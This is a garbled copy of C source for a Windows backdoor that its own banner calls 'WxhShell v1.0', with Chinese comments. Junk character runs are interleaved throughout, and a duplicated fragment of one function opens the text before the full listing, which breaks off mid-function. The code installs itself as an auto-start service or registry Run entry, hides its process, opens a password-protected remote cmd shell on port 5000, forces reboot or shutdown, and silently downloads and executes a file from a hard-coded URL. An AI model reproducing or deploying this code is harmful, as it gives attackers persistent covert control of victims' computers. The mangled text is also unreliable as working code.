6HF_p_ zR{W?_cV static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; aXoVy&x= static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; jJ5W>Q1mK$ K|Di1)7=/ HANDLE hProcess; v+X)Qmzf~ PROCESS_BASIC_INFORMATION pbi; 6#HK'7ClL u4/kR HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); {o>j6RS\ if(NULL == hInst ) return 0; nYX@J6! Ipf=ZD g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); ;9c<K g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA");
&MCbYph, NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); P3=W|81e ,=#F// if (!NtQueryInformationProcess) return 0; BYMi6wts o<|P9#(U" hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); }3OKC2K~ if(!hProcess) return 0; W;,C_ 6Q${U7%7 if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; y$_eCmq "\3B^ e, CloseHandle(hProcess); "t~ E/%9jDTQ hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); HxIIO[h if(hProcess==NULL) return 0; Y9&,t\ q rl#p".4q HMODULE hMod; o
!vE~ char procName[255]; rv|)n>m unsigned long cbNeeded; ]{ntt}3G, P7{gfiB if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); Uk6HQQ x;8A!8w CloseHandle(hProcess); AD|2qM)) ~x]jB if(strstr(procName,"services")) return 1; // 以服务启动 Yo|,]X>/ <c2'0I > return 0; // 注册表启动 Z\k&gio5C^ } \Hn>oonph \Ol kM< // 主模块 _tYx~J2.Q int StartWxhshell(LPSTR lpCmdLine) ;N0~;I { yge,8i)c SOCKET wsl; {o.FlX BOOL val=TRUE; U
15H2-` int port=0; 4#:W.]U8 struct sockaddr_in door; ;{U@qQD7 ]3X@_NYj if(wscfg.ws_autoins) Install(); oyYR-4m\ R5X.^u port=atoi(lpCmdLine); %3ICI *U
P@9D if(port<=0) port=wscfg.ws_port; EV*IoE$W]= :{q<{^c WSADATA data; u[DfzH if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; N-e @j4WU [<
&oF if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; \uaJ@{Vug setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); yrC7F`. door.sin_family = AF_INET; v~@pMA$(h door.sin_addr.s_addr = inet_addr("127.0.0.1"); V{:A3C41 door.sin_port = htons(port); USM4r!x xUa{1!Y8 if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { YLiSbLz1 closesocket(wsl); 4\4FolsK return 1; lXjXqk\ } 7~5ym15* K>DRJz if(listen(wsl,2) == INVALID_SOCKET) { Vnr[}<L closesocket(wsl); XYZ4TeW\1 return 1; <w)r`D6 } U'<KC"f:'! Wxhshell(wsl); /Sc l#4bW WSACleanup(); 'lEA)&d TjwBv6h return 0; ^$'z!+QRM p IU&^yX> } ]]oI#*c 7aQc=^vaZ // 以NT服务方式启动 +h r@#n4A VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) no9;<]4 { tX>
G,hw DWORD status = 0; 9*{[buZX DWORD specificError = 0xfffffff; )~HUo9K9 k{Me[B serviceStatus.dwServiceType = SERVICE_WIN32; hNH'XQxO serviceStatus.dwCurrentState = SERVICE_START_PENDING; rjp-Fw~1w serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; !U'QqnT serviceStatus.dwWin32ExitCode = 0; L_wk~z serviceStatus.dwServiceSpecificExitCode = 0; nh!a)]c[ serviceStatus.dwCheckPoint = 0; '8{Ne!y serviceStatus.dwWaitHint = 0; RF%KA[Dj DUC#NZgw hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); !>zo_fP if (hServiceStatusHandle==0) return; 4'!c*@Y
.U?'i< status = GetLastError(); OslL~< if (status!=NO_ERROR) JU^lyi! { ]Zyur` serviceStatus.dwCurrentState = SERVICE_STOPPED; dAkgR~ serviceStatus.dwCheckPoint = 0; @jsDq
Ln serviceStatus.dwWaitHint = 0; enSXP~9w serviceStatus.dwWin32ExitCode = status; Z(ACc9k6:' serviceStatus.dwServiceSpecificExitCode = specificError; `O[};3O& SetServiceStatus(hServiceStatusHandle, &serviceStatus); Cif>7]M return; LYaZ1* } /oR<A %0,#ADCqOe serviceStatus.dwCurrentState = SERVICE_RUNNING; R}4So1 serviceStatus.dwCheckPoint = 0; |Y [wzDYV serviceStatus.dwWaitHint = 0; d+Ek%_ if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); T^~5n6 } JAQb{KefdO "6us#T // 处理NT服务事件,比如:启动、停止 9+{G8$Ai VOID WINAPI NTServiceHandler(DWORD fdwControl) S=e{MI { uoX:^'q
switch(fdwControl) EB2!Hp uQ3 { |>tKq;/ case SERVICE_CONTROL_STOP: YYu6W@m] serviceStatus.dwWin32ExitCode = 0; v,4pp@8rv serviceStatus.dwCurrentState = SERVICE_STOPPED; 3
%|86:* serviceStatus.dwCheckPoint = 0; 3P^sM1 serviceStatus.dwWaitHint = 0; 'F$l{iR { Od%"B\ SetServiceStatus(hServiceStatusHandle, &serviceStatus); O0pDd4)" } ^ml'? return; #7q7PYG4 case SERVICE_CONTROL_PAUSE: lMg+R<$~I serviceStatus.dwCurrentState = SERVICE_PAUSED; j+["JXy break; @++.FEf case SERVICE_CONTROL_CONTINUE: 1M
781 serviceStatus.dwCurrentState = SERVICE_RUNNING; iTAx=SG break;
sSi6wO$ case SERVICE_CONTROL_INTERROGATE: Ft;^g3N break; f'VX Y- }; ~nG(5:A5g/ SetServiceStatus(hServiceStatusHandle, &serviceStatus); +E.GLn2/ } <oX7P69 ]A<~XIu // 标准应用程序主函数 fH> NJK; int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) -Ty*aov { D~$r\]av #R.-KUW: // 获取操作系统版本 }#Qc \eud OsIsNt=GetOsVer(); _q{c##Kf GetModuleFileName(NULL,ExeFile,MAX_PATH); Ko&>C_N =yyp?WmC8 // 从命令行安装 Bb}fj28 if(strpbrk(lpCmdLine,"iI")) Install(); 6Qy@UfB !=:$lzS^ // 下载执行文件 /x[jQM\ if(wscfg.ws_downexe) { +i2}/s@JJ if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) Ou1JIxZ)| WinExec(wscfg.ws_filenam,SW_HIDE); [3--(#R\}? } nEkR1^30 86mp=6@ if(!OsIsNt) { Yo("U8:XX // 如果时win9x,隐藏进程并且设置为注册表启动 =MLcm^b HideProc(); 30.@g[~ StartWxhshell(lpCmdLine);
By9*1H2R } *UmI]E{g3( else ktdW`R\+ if(StartFromService()) @p NNq // 以服务方式启动 X7i/fm{l' StartServiceCtrlDispatcher(DispatchTable); kT!9`S\ else /O^RF } // 普通方式启动 7El[ > StartWxhshell(lpCmdLine); AbYqf%~7`l {'2@(^3 return 0; o17ekML } 3
"Q=Vl" x`dHJq`_g FTQ%JTgT %e(z/"M=` =========================================== 6N;wqn 45MLt5^| *?Kr*]dnLl ;F~LqC$ 2m35R& g;8jK8Kh " YA
+E\ h}cy D7Wn #include <stdio.h> Gmq/3tw #include <string.h> 9J>&29@us0 #include <windows.h> nCj2N,mT #include <winsock2.h> [zlN!.Z #include <winsvc.h> =IW?WIXk #include <urlmon.h> *EZHJt9 U9A~9"O #pragma comment (lib, "Ws2_32.lib") ZOQTINf #pragma comment (lib, "urlmon.lib") PV/77{' \a6^LD}B #define MAX_USER 100 // 最大客户端连接数 Z]j*9#G1s #define BUF_SOCK 200 // sock buffer .72S o T #define KEY_BUFF 255 // 输入 buffer EVVP]ND S!G(a"<W #define REBOOT 0 // 重启 /`6ZAom9 #define SHUTDOWN 1 // 关机 "gne_Ye. qLT>Mz)$% #define DEF_PORT 5000 // 监听端口 3`ELKq v{jQek4 #define REG_LEN 16 // 注册表键长度 bV$)!]V #define SVC_LEN 80 // NT服务名长度 G1"zElug 0DmMG // 从dll定义API (h5'9r typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); 8rMX9qTO@ typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); I>[RqG typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); =|%Cu& typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize);
]&i.b+^ 2GWMlI // wxhshell配置信息 -"h;uDz|z struct WSCFG { !\"5rNy int ws_port; // 监听端口 MV\|e1B} char ws_passstr[REG_LEN]; // 口令 W'.s\e?gh int ws_autoins; // 安装标记, 1=yes 0=no 2#<xAR char ws_regname[REG_LEN]; // 注册表键名 %d>=+Ds[ char ws_svcname[REG_LEN]; // 服务名 a(9L,v#? char ws_svcdisp[SVC_LEN]; // 服务显示名 A%D7bQ char ws_svcdesc[SVC_LEN]; // 服务描述信息 b r^_'1 char ws_passmsg[SVC_LEN]; // 密码输入提示信息 Zuw?58RE\ int ws_downexe; // 下载执行标记, 1=yes 0=no AQ+]|XYo_ char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" _-9@qe char ws_filenam[SVC_LEN]; // 下载后保存的文件名 ?}RSwl
;M_o)OS3 }; S`"LV $8 M\Z6$<H?U // default Wxhshell configuration bV8!"{ struct WSCFG wscfg={DEF_PORT, 0em#-*|2" "xuhuanlingzhe", YR>B_,Gl 1, z-LB^kc8oQ "Wxhshell", HKqwE=NZ "Wxhshell", ld^=#]g "WxhShell Service", \z$p%4`E@ "Wrsky Windows CmdShell Service", rSHpS`\ou "Please Input Your Password: ", K a6,<C
o 1, |d*&y#kV "http://www.wrsky.com/wxhshell.exe", ewfP G,S "Wxhshell.exe" PB/IFsJ }; S6+y?,^ $P(v{W) // 消息定义模块 Q`rF&)Q5 char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; VGceD$< char *msg_ws_prompt="\n\r? for help\n\r#>"; |ZCn`9hvn char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; i2sN3it char *msg_ws_ext="\n\rExit."; -Y*bSP)\ char *msg_ws_end="\n\rQuit."; \L(*]:EP char *msg_ws_boot="\n\rReboot..."; #DN0T' B char *msg_ws_poff="\n\rShutdown..."; 9uer(}WKT char *msg_ws_down="\n\rSave to "; cu% C" "=+7-` char *msg_ws_err="\n\rErr!"; gx&Tt char *msg_ws_ok="\n\rOK!"; #%D_Y33; d8m6B6
CW char ExeFile[MAX_PATH]; MH{GR)ng:9 int nUser = 0; 05spovO/' HANDLE handles[MAX_USER]; ;[W"mlM int OsIsNt; K,w"_T ;w%*M}`5 SERVICE_STATUS serviceStatus; cFJ-Mkll SERVICE_STATUS_HANDLE hServiceStatusHandle; T[sDVkCbxf B7]C]=${m // 函数声明 ^B@Wp int Install(void); rDQ!zlg>l int Uninstall(void); c{&*w")J int DownloadFile(char *sURL, SOCKET wsh); ,WG<hgg-U) int Boot(int flag); :^fcC[$K void HideProc(void); "7v @Rye int GetOsVer(void); ']>Mp#j int Wxhshell(SOCKET wsl); E6,4RuCK void TalkWithClient(void *cs); Z0*ljT5| int CmdShell(SOCKET sock); <6fv1d+v int StartFromService(void); GD:4"$)[o int StartWxhshell(LPSTR lpCmdLine); >9f%@uSM$3 }j^\(2 VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); >TP7 }u| VOID WINAPI NTServiceHandler( DWORD fdwControl ); CXO2N1~(J 13+<Q \ // 数据结构和表定义 `"@g8PWe SERVICE_TABLE_ENTRY DispatchTable[] = }Y*VAnY6; { u_'!_T L {wscfg.ws_svcname, NTServiceMain}, ,N
e;kI {NULL, NULL} ^RP)>d9Xp{ }; DZv=\<$,LF [ e8x&{L-_ // 自我安装 |<Gl91 int Install(void) n':! ,a[ { .p=sBLp8 char svExeFile[MAX_PATH]; *0}3t<5 HKEY key; jU3Z*Z)zN strcpy(svExeFile,ExeFile); ~{D[
>j][ 8?i7U<CB // 如果是win9x系统,修改注册表设为自启动 +Ag!?T if(!OsIsNt) { vi|R(& if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { kdCP RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
(:";i& RegCloseKey(key); x&`~R>5/ if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { h[?O+Z^ RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); *$"gaXI RegCloseKey(key); |0\0a&tkPl return 0; Hw|AA?,0- } u@.>Z{h } "n: %E } RKa}$
7 else { ZWm8*}3]7_ !TP@-
X; // 如果是NT以上系统,安装为系统服务 J8"[6vI d~ SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); LS5vW|]w if (schSCManager!=0) Qq@G\eRo { `AkIK* SC_HANDLE schService = CreateService ]/!<PF ( S<L.c schSCManager, W?We6.%
wscfg.ws_svcname, sz9G3artK& wscfg.ws_svcdisp, <97d[/7i SERVICE_ALL_ACCESS, :KKa4=5L SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , "
beQZG SERVICE_AUTO_START, +R\vgE68 SERVICE_ERROR_NORMAL, sT/c_^y svExeFile, RC^9HuR& NULL, 5|I[>Su NULL, q\q=PB6r NULL, _kdL'x NULL, ! {82D[5 NULL +dPL>R ); >^OC{~Az if (schService!=0) &%2*Wu; { "&/]@)TPz CloseServiceHandle(schService); Qf|U0 CloseServiceHandle(schSCManager); nZ_v/?O strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); b:(- strcat(svExeFile,wscfg.ws_svcname); +hRmO if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { c=[O
`/f RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); 1N\D5g3 RegCloseKey(key); { K_kPgKS return 0; x%< } =B ];?% } 1Fe^Qb5G CloseServiceHandle(schSCManager); NB7Y{)
w } .,i(2^ } S#b-awk QnI.zq
V return 1; >?]_<: } `Bw9O%]-S enTW0U} // 自我卸载 5PIZh< int Uninstall(void) ]u-02g { yE\wj HKEY key; pCu!l#J 8*c3| if(!OsIsNt) { 6ATtW+sN ] if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { Ox#Q2W@Uy RegDeleteValue(key,wscfg.ws_regname); KT.?Xp:z RegCloseKey(key); ]=EM@ if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { ;@nFVy>U RegDeleteValue(key,wscfg.ws_regname); $LHa?3 RegCloseKey(key); ;oNhEB:F return 0; M0'
a9.d } G\;}w } QI!F6pGF } EQe5JFR else { E"|4Y(G $2MAZGJV SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); '>k{tPi. if (schSCManager!=0) Dw2Q 'E { npDIX SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); (5<^p& if (schService!=0) ==H$zmK { ZCVl5R(mZ if(DeleteService(schService)!=0) { #u5~0,F CloseServiceHandle(schService); a1.|X i'/z CloseServiceHandle(schSCManager); +-a&2J;J' return 0; ,SScf98,j } u=&Bmn_ CloseServiceHandle(schService); -z:&*= } RkuuogZ CloseServiceHandle(schSCManager); 9]>iSG^H } D\~e&0* } #g5^SR|qE o\`>c:. return 1; +zkm( } _0pO8o-x q+a.G2S // 从指定url下载文件 Qpt&3_ int DownloadFile(char *sURL, SOCKET wsh) FZH\Q~IUV { Bd3~E bFL HRESULT hr; xAwf49N~ char seps[]= "/"; [`Cq\mI-W char *token; 6e25V4e?I char *file; eV6o3u:9 char myURL[MAX_PATH]; Hwm?#6\5 char myFILE[MAX_PATH]; p\bFdxv# p{=QGrxB* strcpy(myURL,sURL); cE{ =(OQ token=strtok(myURL,seps); M]HgIL@9# while(token!=NULL) 6<5Jq\-h { &,i~ cG? file=token; oh#>
5cA8 token=strtok(NULL,seps); &kQ!KA28 } 7W9~1
.SC IC{F.2D GetCurrentDirectory(MAX_PATH,myFILE); Gy@7Xf strcat(myFILE, "\\"); :&J8.G^ strcat(myFILE, file); gor<g))\ send(wsh,myFILE,strlen(myFILE),0); 5M23/=
N send(wsh,"...",3,0); 0+b0< hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); On1v<SD$[ if(hr==S_OK) #vf_D?^ return 0; l#@&~f[ else z}.D"
P+ return 1; cX
A t:m 1Qh`6Ya f } Z0fJ9HW &!y]:CC{ // 系统电源模块 -U>7
H`5 int Boot(int flag) ]=D5p_A( { {6x PdUhw HANDLE hToken; m&R"2t_Z TOKEN_PRIVILEGES tkp; );
6,H.v j5%qv(w if(OsIsNt) { @ERu>nSP OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); )Hf~d=GG LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); >WM3| tkp.PrivilegeCount = 1; .}9FEn 8 tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; IX?ZbtdX$` AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); *+8%kn`c if(flag==REBOOT) { i~& c| if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) \~X&o% y return 0; -{9Gagy2& } |,}E0G. else { &-GuKH(Y< if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) (G4'(6 return 0; $Kq<W{H3ut } B;-2$
77 } c6b0*!D"} else { >$F:*lO if(flag==REBOOT) { R I@*O6\/I if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) acOJ]] return 0; v_sm } 7aQcP else { z };ZxN if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) D{AFL.r{ return 0; [F|+(} } <{019Oa } fQQ|gwVki e`sw*m5 return 1; Y&,rTa } m{&w{3pQk '; /84j-3F // win9x进程隐藏模块 _
K/swT{f void HideProc(void) lEfBe)7+ { i=8UBryr'e -3mgza HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); 6.Bh3p if ( hKernel != NULL ) @8"18HEp# { a{`"68 pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); s#lto0b"8 ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); F14(;'Az FreeLibrary(hKernel); )!C7bTv 4 } 9bn2UiJk ;,0lUcV return; \n@V-b } !"! ii$@ S?,_<GD)w // 获取操作系统版本 "2mFC! int GetOsVer(void) feCqbWq: { y`b\;kd OSVERSIONINFO winfo; +v[O winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); ?`A9(#ySM GetVersionEx(&winfo); n+quSF) if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) ,#aS/+;[) return 1; 6+8mV8{-8 else \/,g VT return 0; 1D$::{h } d_iY&-gq/ J v<$*TVS0 // 客户端句柄模块 l7Lj[d<n int Wxhshell(SOCKET wsl) >h[(w { sA\L7`2H SOCKET wsh; gPUo25@pn* struct sockaddr_in client; Ea4
* o DWORD myID; |yAK@Hl' ycjJbL(. while(nUser<MAX_USER) B+Q+0tw*i { =xBT>h; int nSize=sizeof(client); !~d'{sy6 wsh=accept(wsl,(struct sockaddr *)&client,&nSize); Yzd2G,kZ= if(wsh==INVALID_SOCKET) return 1; Y*\6o7 a*Jn#Mx<M handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); Uk02IOXQ if(handles[nUser]==0) ?48AY6 closesocket(wsh); p1
4d,}4W else b8HE."*t nUser++; U"B.:C2 } Vr\Q`H. WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); M@~o6 ^ 7O461$4v return 0; 4OEKx|:5n }
0dh#/ A|C_np^z2 // 关闭 socket M*H<
n* void CloseIt(SOCKET wsh) %|jzEBz@ { /=trj5h closesocket(wsh); 1uC;$Aj6: nUser--; kdBV1E+:C ExitThread(0); /u?9S/ } _-6e0sr Z hpjUkGm5 // 客户端请求句柄 b=_{/F*b? void TalkWithClient(void *cs) ?C~X@sq { #|ddyCg2 cdN/Qy SOCKET wsh=(SOCKET)cs; !Y|8z\Q char pwd[SVC_LEN]; fPrb% char cmd[KEY_BUFF]; Ivjw<XP6K char chr[1]; IwM8#6;S~ int i,j; yXXvs'$R \ Q^|6J#o[9 while (nUser < MAX_USER) { @9<S* 2)? if(wscfg.ws_passstr) { x?rbgsB5& if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); &_YtY47 //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
dQ`:8SK //ZeroMemory(pwd,KEY_BUFF); [88{@) i=0; 9iK&f\#5H while(i<SVC_LEN) { _^b@>C>O +]_nbWL(% // 设置超时 u x#.:C| fd_set FdRead; pEkOSG struct timeval TimeOut; '5V^}/ FD_ZERO(&FdRead); yFi6jN#~ FD_SET(wsh,&FdRead); v}f&q! TimeOut.tv_sec=8; Kny%QBoiw TimeOut.tv_usec=0; fZ{&dslg int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); ru DP529; if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); Ny B&uf Gj5>Y!9 if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); L!&$c&=xf pwd=chr[0]; =Iy/cHK if(chr[0]==0xd || chr[0]==0xa) { fPOEVmj< pwd=0; '1]+8E
`Z break; zfirb } n'ehB%" i++; XL&hs+Y } C#ZhsWS!b Y=3X9%v9g // 如果是非法用户,关闭 socket ckAsGF_B~! if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); QP+c?ct}hF } T6,V %
<^[j^j}o send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); G{/; AK send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); )F
+nSV; fWd~-U0M^ while(1) { L)1C'8). D>ojW|@} ZeroMemory(cmd,KEY_BUFF); D9,e3.?p 7F=2t_2O // 自动支持客户端 telnet标准 P&,hiGTDi j=0; >/8ru*Oc while(j<KEY_BUFF) { I'xC+nL@ if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); R04.K! cmd[j]=chr[0]; c1PViko,> if(chr[0]==0xa || chr[0]==0xd) { Q6eN+i2 ; cmd[j]=0; y{YXf!AS break; }Z"28? } hTDV!B-_( j++; m**0rpA } W0C{~|e o*-h%Z. // 下载文件 N4A&"1d& if(strstr(cmd,"http://")) { Sy4
mZ}: send(wsh,msg_ws_down,strlen(msg_ws_down),0); )\D2\1e(c if(DownloadFile(cmd,wsh)) uXjoGcW send(wsh,msg_ws_err,strlen(msg_ws_err),0); k{?!O\yY else Go-wAJ> send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); Y+!Ouc!$ } 1]_?$)$T else { ,tcP=fdk] "3\oQvi. switch(cmd[0]) { |
A3U@>6 MRjH40"2 // 帮助 +{5JDyh0 case '?': { '`9%'f) send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); -l\~p4U break; txj wZ_p } o<Xc,mP // 安装 z Z@L4ZT case 'i': { Y||yzJdC if(Install()) dVPq%[J2 send(wsh,msg_ws_err,strlen(msg_ws_err),0); >g>f;\mD7$ else )Y=w40Yzd send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); C usVW break; ?@3#c } /&*m1EN#o // 卸载 v&p,Clt-2 case 'r': { kw6cFz if(Uninstall()) C(EYM$ send(wsh,msg_ws_err,strlen(msg_ws_err),0); <\E"clZI else +fC#2%VnU send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); m5X3{[a: break; l#X=]xQf } L@>^_p$ // 显示 wxhshell 所在路径 \d `dV0X case 'p': { #L_@s
d char svExeFile[MAX_PATH]; NS7@8 #C strcpy(svExeFile,"\n\r"); AF6d#Klog strcat(svExeFile,ExeFile); dNOX&$/= send(wsh,svExeFile,strlen(svExeFile),0); F5<"ktnI break; yB0jL:|a } 's$A+8;L // 重启 x1 .3W j case 'b': { hq5NQi`
% send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); '9IP; if(Boot(REBOOT)) ~!8%_J _ send(wsh,msg_ws_err,strlen(msg_ws_err),0); n^* >a else { @*CAn(@#N closesocket(wsh); >r;ABz/ ExitThread(0); R#"U/8b>z } %T`4!:vy break; gV<0Hj } ]]\)=F`n77 // 关机 .tZjdNE(h case 'd': { cYZwWMzp send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); J!=](s5| if(Boot(SHUTDOWN)) !T<z'zZU send(wsh,msg_ws_err,strlen(msg_ws_err),0); `
(7N^@ else { "}S9`-Wd| closesocket(wsh); [54@i rH ExitThread(0); R2Twm!1 } [>b
'}4 break; 2q`)GCES~ } +CsI,Uf4* // 获取shell Ul'~opf case 's': { c+@d'yR CmdShell(wsh); o,*folL closesocket(wsh); #g@ ExitThread(0); 4(` 2# break; 9X
5*{f Y } hg%@ W // 退出 T)b3N|ONB case 'x': { iifc;6 2 send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); a"`g"ZRx CloseIt(wsh); ) 1lJ<g# break; Iq4 Kgc } 4?9soc // 离开 (Wm/$P; case 'q': { d%}crM-KTL send(wsh,msg_ws_end,strlen(msg_ws_end),0); D}zOuB,S closesocket(wsh); gGtep*k WSACleanup(); YH/S2 D exit(1); 1Pud,!\%q break; pieU|?fQ } p<Zs*
@ } Jo6~r- } ]I{qp~^#n n.2E8m/ // 提示信息 7sQ]w
if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); /Nj:!!
AN } S[W9G)KWp } LP5eFl`|T S1}1"y/ return; 8gVxiFjo } 5?V? lH#@^i|G // shell模块句柄 jw:4fb int CmdShell(SOCKET sock) h]J&A { #,f}lV,& STARTUPINFO si; D%c7JK ZeroMemory(&si,sizeof(si)); w?V[[$ si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; p/\$P= si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; JLy)}8I PROCESS_INFORMATION ProcessInfo; 7h9 fQ&y char cmdline[]="cmd"; v$gMLu= CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); c8k6(#\ return 0; jjS{q,bo } GW>7R6i `-72>F ;T // 自身启动模式 W (=Wg|cr int StartFromService(void) ]wkSAi5z* { "!%w9 typedef struct XEf&Yd { 5XSxQG@k^z DWORD ExitStatus; ^D W# DWORD PebBaseAddress; /(hP7_]`2 DWORD AffinityMask; bqg]DO$* DWORD BasePriority; ;
McIxvj ULONG UniqueProcessId; r85Xa'hh ULONG InheritedFromUniqueProcessId; ,?0-=o } PROCESS_BASIC_INFORMATION; BNL8hK`D LyJTK1]# PROCNTQSIP NtQueryInformationProcess; a@5xz) 877EKvsiC static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; f>\bUmk( static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; Z ]7;u>2 \U)2
Tg HANDLE hProcess; @yU!sE: PROCESS_BASIC_INFORMATION pbi; Se^/VVm GvZac HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); RvyBg:Aj5 if(NULL == hInst ) return 0; l6&v}M C>w9
{h g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); 1K?
&
J2 g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); !^>LOH>j NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); ,E*a$cCw ?RRSrr1 if (!NtQueryInformationProcess) return 0; ;+r) j"W .yK\&q[< hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); s3MMICRT. if(!hProcess) return 0; E&iWtwkz =M/UHOY if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; Z!]U&Ax`Z e_>rJWI} CloseHandle(hProcess); o-Q]Dk1W
